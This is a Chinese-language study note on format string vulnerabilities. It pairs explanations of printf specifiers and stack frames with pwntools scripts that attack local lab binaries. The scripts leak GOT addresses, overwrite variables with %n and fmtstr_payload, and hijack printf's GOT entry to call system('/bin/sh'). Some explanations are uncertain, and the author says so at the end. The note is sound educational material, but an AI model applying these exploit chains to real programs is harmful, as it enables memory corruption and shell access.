格式化字符串
zach0ry

原理

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据它解析之后的参数。

通俗来说,格式化字符串函数的作用是将计算机内存中的数据转化为人类可读的字符串格式。

一般来说,格式化字符串在利用的时候主要分为三个部分:

(1)格式化字符串函数。

(2)格式化字符串。

(3)后续参数,可选。

printf("name:%s,age:%d,salary:%4.2f",myname,myage, mysalary)

printf函数叫作格式化字符串函数,”name:%s,age:%d,salary:%4.2f”叫作格式化字符串,“myname,myage,mysalary”叫作后续参数。

🧱 常见的格式化字符串符号

格式符 作用 示例
%x/%p 以十六进制形式输出栈上的值 %x0xdeadbeef %p通常带0x前缀
%d/%u 以十进制输出栈上的值 %d3735928559
%c 输出栈上值的最低一个字节 %c'A'
%s 把栈上的值当作地址,输出该地址的字符串 %s"Hello"
%hn 写入 2 字节(short) %hn→ 写入低 2 字节
%hhn 写入 1 字节(char) %hhn→ 写入低 1 字节
%n 将已输出字符数写入栈上的地址 %n→ 写入0x4到指定地址
%$p/%%$s 指定第几个参数位置的值 %4$p→ 第 4 个参数
%% 输出一个%字符本身 %%%

image-20250721092127879image-20250721092639513

当用户控制了 printf() 的第一个参数(即格式化字符串),而程序没有进行过滤或限制,就可能造成以下问题:

1
2
3
char input[100];
fgets(input, sizeof(input), stdin);
printf(input); // ⚠️ 危险!用户输入直接作为格式化字符串

此时,攻击者可以构造输入,如:

%x %x %x %x %s

程序会尝试从栈中读取参数,但由于没有提供参数列表,printf() 会继续从栈中“猜测”数据。这可能导致:

  • 泄露栈内存内容(如返回地址、canary、函数指针等)

  • 写入内存(通过 %n 格式符)

虽然没有写任何参数,但还是会对应地解析参数,因为在格式化字符串中写了对应的解析方式,所以在后续的函数运行中会解析栈上的元

素。对于整型值和浮点值,这没有什么问题,不管栈上是什么数据都能够按照整型值和浮点值解析出来,而字符串形式就不一定能解析出来

了。如果是一个非法地址,比如NULL,那么在解析的时候就会报错,

因为这个地址按照字符串解析是无法解析出来的,程序就会崩溃。这就是格式化字符串漏洞的基本原理

利用

leakmemory(泄露栈上内容)

image-20250721102525461

用了 %100s 来防止缓冲区溢出,但并没有限制用户输入的格式符内容 。也就是说:

  • 用户可以输入 %x%s%n 等格式符。

  • printf 会根据这些格式符从栈中“猜测”数据,从而造成信息泄露或任意地址写入。

    image-20250721102907893

leakmemory(泄露任意地址内存)

这里的目标设立泄露isoc99_scanf函数(scanf编译之后是isoc99_scanf在内存中的地址)。

%k$s

这里的p是可以更换的,比如更换为s就可以解析栈上的数据为字符串。

k:表示要打印的参数距离目前格式化字符串参数的距离。

因为在没有给printf提供对应的字符,但它是一个可变参数函数 ,它会从栈上依次读取数据来填充格式化字符串中的 %p%x%s%n 等指令。

但你并不知道你输入的字符串在栈上的具体位置,所以你需要:

找到你的输入字符串在栈上的偏移量,才能精准控制读写的内容。

image-20250721145854783

所以偏移量就是4

所以构造payload = p32(scanf_got) + “%4$s”

相当于print(p32(scanf_got) + “%4$s”)

所以前四个字节是输出的scanf的got表

🧠 关键区别:地址 vs 地址的内容

scanf_got GOT 表中scanf的地址(.got段中的一个位置) 0x804a008 就像书的目录页码
泄露的地址(leak_addr 这个 GOT 表项中存储的值(即scanf的实际地址) 0xf7e01234 就像目录页码指向的那一页的内容

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process("./leakmemory")
elf = ELF("./leakmemory")
#gdb.attach(p,"b printf")

scanf_got = elf.got["__isoc99_scanf"]
payload=p32(scanf_got)+b"%4$s"
p.sendline(payload)
leak_addr = u32(p.recv(8)[4:])
scanf_addr = leak_addr
log.success("scanf_addr:" + hex(scanf_addr))
p.interactive()

printf 执行流程:

  1. printf 会从栈上读取参数;
  2. 它看到 %4$s,会从第 4 个参数位置读取一个地址;
  3. 这个地址是 0x804a018(你写入的 GOT 地址);
  4. 然后从 0x804a018 地址中读出一个指针(比如 0xf7e01234,即 scanf 的运行时地址);
  5. %s 会从 0xf7e01234 开始读取字符串,直到遇到 \0
  6. 最终你接收到的数据中包含 0xf7e01234

📌 总结

elf.got["scanf"]elf.got["__isoc99_scanf"]一样吗? 不一定,取决于编译器
为什么会有__isoc99_scanf GCC 编译器为了支持 C99 标准引入的
怎么确认用哪个? readelf -robjdump -TR查看 GOT 表
能不能替换? 只有 GOT 表中存在对应符号时才能替换
如果写错了会怎样? 报错:KeyError

image-20250721150514526

函数调用完整过程

🌟 阶段 0️⃣:在 vulnfunc 里(调用 printf 之前)

这是已经在 vulnfunc 里,且栈帧已经建立好了。
栈顶在 esp,栈低在高地址方向。

1
2
3
4
5
6
7
8
9
10
11
12
13
     ↑ 高地址
──────────────────────────────
| 参数n(可能是命令行参数) |
| 参数2 |
| 参数1 |
──────────────────────────────
| 返回地址 → main |
──────────────────────────────
| 上一个 ebp | ← ebp (vulnfunc 的 ebp)
──────────────────────────────
| vulnfunc 局部变量 |
| … | ← esp (在 vulnfunc 里)
↓ 低地址

当你刚进入 vulnfunc

  • ebp → 上一个 ebp

  • ebp+4 → 返回地址(返回到 main)

  • ebp-xx → vulnfunc 的局部变量

  • esp → 最低处,指向局部变量

🌟 阶段 1️⃣:调用 printf(format)

当 vulnfunc 调用:

1
2

printf(format);

调用者把返回地址 & 参数压入栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
     ↑ 高地址
──────────────────────────────
| 参数n(main 的参数) |
| … |
──────────────────────────────
| 返回地址 → main |
──────────────────────────────
| 上一个 ebp | ← ebp (vulnfunc)
──────────────────────────────
| vulnfunc 局部变量 |
──────────────────────────────
| 参数1=format | ← esp+4
| 返回地址 → vulnfunc+下一条 | ← esp

此时 esp 指向 printf 的返回地址,再往上是 printf 的参数。

🌟 阶段 2️⃣:进入 printf

在 printf 开始执行后,它建立自己的栈帧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
      ↑ 高地址
──────────────────────────────
| 参数n(main 的参数) |
| … |
──────────────────────────────
| 返回地址 → main |
──────────────────────────────
| 上一个 ebp | ← ebp (vulnfunc)
──────────────────────────────
| vulnfunc 局部变量 |
──────────────────────────────
| 参数1=format | ← ebp+8
| 返回地址 → vulnfunc+下一条 | ← ebp+4
| 上一个 ebp | ← ebp (printf)
──────────────────────────────
| printf 局部变量 | ← esp

这里:

  • printf 把当前的 ebp 压栈
  • 把 ebp 设置为 esp
  • esp 再向下留出局部变量空间

image-20250721144623118

scanf函数会把读取到的数放在栈上一个空间,然后%p会把它泄露出来

  1. 使用 scanf 读取一个字符串(最多 100 字节),存入 format 缓冲区;
  2. 然后直接将这个字符串作为参数传给 printf,即:printf(format);

overwrite(覆盖任意地址内存)

image-20250721153203305

image-20250721153247877

所以这道题的重点是修改几个数的值

1)将a覆盖为0x10。

2)将b覆盖为2。

3)将c覆盖为0x12345678。

其中a是局部变量,b,c是全局变量

局部变量存储在栈上,全局变量存储在数据段中(分为已初始化rodata和未初始化bss两部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
+---------------------+ <--- 高内存地址
| 命令行参数 & 环境变量 |
+---------------------+
| 栈 (Stack) | <-- 局部变量、函数参数、返回地址
| |
| Function Call N |
| (局部变量, 返回地址等)|
| Function Call 2 |
| (局部变量, 返回地址等)|
| Function Call 1 |
| (局部变量, 返回地址等)|
| ... |
| |
| 空闲 |
| |
+---------------------+
| 堆 (Heap) | <-- 动态分配内存 (malloc/new)
| |
| ... |
+---------------------+
| .bss 段 (未初始化数据) | <-- 未初始化的全局变量和静态变量 (例如: b)
+---------------------+
| .data 段 (已初始化数据) | <-- 已初始化的全局变量和静态变量 (例如: c)
+---------------------+
| .text 段 (代码) | <-- 程序执行代码 (指令)
+---------------------+
| 保留区域 |
+---------------------+ <--- 低内存地址

a的处理(局部变量)

首先,a是局部变量,局部变量是存储在栈上的,其地址会因为开启ASLR而变化,所以在函数中将a的地址打印出来了

脚本
1
2
3
4
5
6
7
8
from pwn import *
p=process("./overwrite")
a=int(p.recvuntil('\n',drop=True),16)
print(hex(a))
payload=p32(a)+b"%12c"+b"%8$n"
p.sendline(payload)
m=p.recv()
print(m)

int和u32()

函数
int(..., 16) 接收到的是字符串形式的地址(如"0xffa79dbc" 转换为整数地址 主动泄露地址
u32(...) 接收到的是原始 4 字节数据(如b'\xbc\x9d\xa7\xff' 将小端序的 4 字节转为整数 调用泄露地址

🧩 p32(a_addr) 是怎么用的?

构造的 p32(a_addr) 会被 printf 当作一个参数处理:

  • 它被压入栈上;
  • %8$n 会从第 8 个参数位置读取它;
  • 这个地址就是写入的目标地址。

🧩 %12c 是怎么用的?(目标是16,a的地址占四个字节)

  • %12c 输出 12 个字符(如空格);
  • %n 会把当前输出的字符总数写入指定地址;
  • 所以 %12c 的作用是让 %n 写入 12
  • 它本身不写入内存,但会影响 %n 的值。

不能换成b’a’*12,这个不会影响%n的总数

工作原理:

  1. printf(payload) 执行时,payload 字符串会被放到栈上。
  2. printf 开始解析 payload。它会把 p32(a_addr) 视为一个普通的字符串(但它实际上是 v1 的地址)。
  3. 然后遇到 %12c,它输出 12 个字符。
  4. 接着遇到 %8$n。此时 printf 已经输出了 12 个字符。它会去栈上寻找第 8 个参数的地址。由于 p32(a_addr) 放在了 payload 的开头,并且其长度是 4 字节,它会正好落在栈上第 8 个参数的位置上(这个偏移量是经过调试确定的)。
  5. printf 会将当前已输出的字符数 12 写入p32(a_addr) 所表示的地址,也就是局部变量 v1 的地址。
  6. 最终,v1 的值被修改为 12

b的处理(全局小数)

image-20250721202346937

b,c的地址可以直接找到

脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process("./overwrite")
elf = ELF("./overwrite")
#gdb.attach(p,"b printf")
a=int(p.recvuntil("\n",drop=True),16)
print(hex(a))
b=0x0804A028
payload=b'aa'+b'%10$n'+b'b'+p32(b)
p.sendline(payload)
info=p.recvline()
if b"overwrite b for a small value" in info:
print(b"Success\n")
p.interactive()

为什么不能按照覆盖 a 的方法?(因为%n,b的地址已经超过2了,所以b的地址只能在%_$n之后)

  1. 偏移量计算的差异: 在覆盖 a 的方法中,p32(a_addr) 放在了 payload 的最开头,并且 printf 发现这个开头在它的参数列表中是第 8 个。 但是,如果将 p32(b_addr) 也放在 payload 的开头并尝试用 %8$n 写入,可能会遇到问题:
    • 地址值与格式符冲突0x0804A028 这个地址本身如果被 printf 解析成格式化字符串的一部分,可能会包含 % 或其他特殊字符,导致 printf 崩溃或行为异常。例如,地址的某个字节可能被解释为 %s%x 的一部分,导致 printf 试图读取无效的内存地址。
    • 控制性问题:我们通常希望将要写入的地址放在格式字符串的末尾,这样它就不会被 printf 误认为是格式符的一部分来处理,而只是一个普通的 4 字节数据。
特性 覆盖 v1 (局部变量) 覆盖 b (全局变量)
目标类型 栈上的局部变量 数据段上的全局变量
地址来源 运行时泄露 (每次可能不同) 静态固定 (编译时确定)
p32(addr) 位置 放在 payload开头 放在 payload末尾
%n 偏移 8$ (因为地址放在开头,且在第 8 个参数位置) 10$ (因为地址放在末尾,且在第 10 个参数位置)
主要考量 确保 p32(addr) 不被误解为格式符,且在正确偏移 避免 b_addr 字节被误解为格式符,更稳定地作为参数地址

好的,如果你确认这个 b必须的,那么它在 payload 中的存在,就意味着它在栈的布局和 printf 对参数的解析中起到了关键作用,通常是保证了 p32(b_addr) 的正确对齐,使其落在 %10$n 预期的参数位置

让我们来详细分析,为什么多一个 b 反而可能成为“必须的”。

b 的详细分析

1
payload = b"aa" + b"%10$n" + b"b" + p32(b_addr)

让我们计算每个部分的长度:

  1. b"aa":2 字节
  2. b"%10$n":5 字节
  3. b"b":1 字节
  4. p32(b_addr):4 字节 (假设 b_addr0x0804A028)

总字节数 = 2 + 5 + 1 + 4 = 12 字节,在这里,b是为了补足字节

c的处理(全局大数)

image-20250721200707341

这是一个很大的数,考虑逐字节写入

这里想把c覆盖为0x12345678,而c的地址是0x0804A02C,所以基本目标是:

1
2
3
4
0x0804A02C:\x78
0x0804A02D:\x56
0x0804A02E:\x34
0x0804A02F:\x12
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p=process("./overwrite")

a=int(p.recvuntil("\n",drop=True),16)
print(hex(a))

c=0x0804A02C
payload=fmtstr_payload(offset=8,writes={c:0x12345678})
p.sendline(payload)

info =p.recvline()
if b"overwrite c for a big value" in info:
print(b"Success")
p.interactive()

fmtstr_payload

fmtstr_payloadpwntools 提供的一个自动化工具 ,用于构造格式化字符串漏洞(Format String Vulnerability)的 payload

它的作用是:

自动计算字符数并构造 payload,用于写入任意地址的值(如 GOT 表、变量、返回地址等)

🧪 fmtstr_payload 的使用方法

  1. 基本语法
1
2
from pwn import *
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  1. 参数说明
offset 格式化字符串偏移量(你的输入在第几个%p的位置)
writes 一个字典,表示你要写入的地址和值,如{addr1: value1, addr2: value2}
numbwritten 已经输出的字符数(默认为 0,可以忽略)
write_size 写入大小,可选:'byte''short''int'(默认是'byte'

🧩 示例 1:写入一个地址为 16

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

elf = ELF("./vuln")
offset = 8 # 偏移量
addr = elf.symbols['a'] # 假设你要写入变量 a 的地址

# 构造 payload:写入 a = 16
payload = fmtstr_payload(offset, {addr: 16})

p = process("./vuln")
p.sendline(payload)
p.interactive()

🧩 示例 2:写入多个地址(如 a=16, b=2, c=0x12345678

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

elf = ELF("./vuln")
offset = 8
a_addr = elf.symbols['a']
b_addr = elf.symbols['b']
c_addr = elf.symbols['c']

# 构造 payload:写入多个地址
writes = {
a_addr: 16,
b_addr: 2,
c_addr: 0x12345678
}

payload = fmtstr_payload(offset, writes, write_size='int')
p = process("./vuln")
p.sendline(payload)
p.interactive()

fmt_demo(格式化字符串的综合利用)

image-20250721203303330

image-20250721212854956

可以先泄露libc的基址,得到system函数的地址

再根据此把printf的got表存储的地址换为system函数的地址

之后输入参数“/bin/sh”,就可以实现

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import LibcSearcher
p=process("./fmt_demo")
elf=ELF("./fmt_demo")


read_got=elf.got["read"]
payload=p32(read_got)+b"%4$s"
p.send(payload.ljust(0x100,b"\x00"))
read=u32(p.recv(8)[4:])
print(hex(read))

libc=LibcSearcher("read",read)
libc_base=read-libc.dump("read")
system=libc_base+libc.dump("system")

payload=fmtstr_payload(offset=4,writes={elf.got["printf"]:system})
p.sendline(payload.ljust(0x100,b"\x00"))

bin=b"/bin/sh"
p.sendline(bin.ljust(0x100,b"\x00"))
p.interactive()

那为什么还要填补 payload 的长度为 0x100 字节?”

我们来从 “payload 被复制到栈上” 这个现象出发,解释为什么我们有意地 将 payload 填充到固定长度(如 0x100 字节),尽管它可能会被复制到栈上。

✅ 简短回答:

我们填补 payload 到固定长度(如 0x100 字节),是为了让 payload 被完整复制到栈上,从而让偏移固定、布局可控,便于利用格式化字符串漏洞进行地址泄露或写入操作。

📌 payload 的两种“命运”:

1️⃣ payload 短 < 一些参数长度 printf从栈上读取参数 payload 在 buf 中,参数在栈上
2️⃣ payload 长 > 一定长度(如 100 字节) printf把 payload 复制到栈上 payload 本身就在栈上

🧩 为什么要“故意”让 payload 被复制到栈上?

✅ 优点一:偏移固定,便于调试

  • payload 被复制到栈上后,它在栈上的位置是固定的。
  • 我们可以精准控制偏移(比如 %4$s 就一定读取 payload 中的地址)。
  • 避免了因 payload 长度不同导致偏移变化的问题。

✅ 优点二:便于构造写入操作(如 %n)

  • 当我们想用 %n 写某个地址时,需要确保地址在栈上,且偏移固定。
  • 如果 payload 被复制到栈上,我们就可以把地址放在 payload 开头,然后用 %1$n 精准写入。

✅ 优点三:防止 payload 被截断或偏移漂移

  • 如果 payload 长度不固定,可能导致偏移变化,%s%n 读写错误地址。
  • 填充到固定长度(如 0x100)可以避免这种漂移。

:grey_question:但我其实不太理解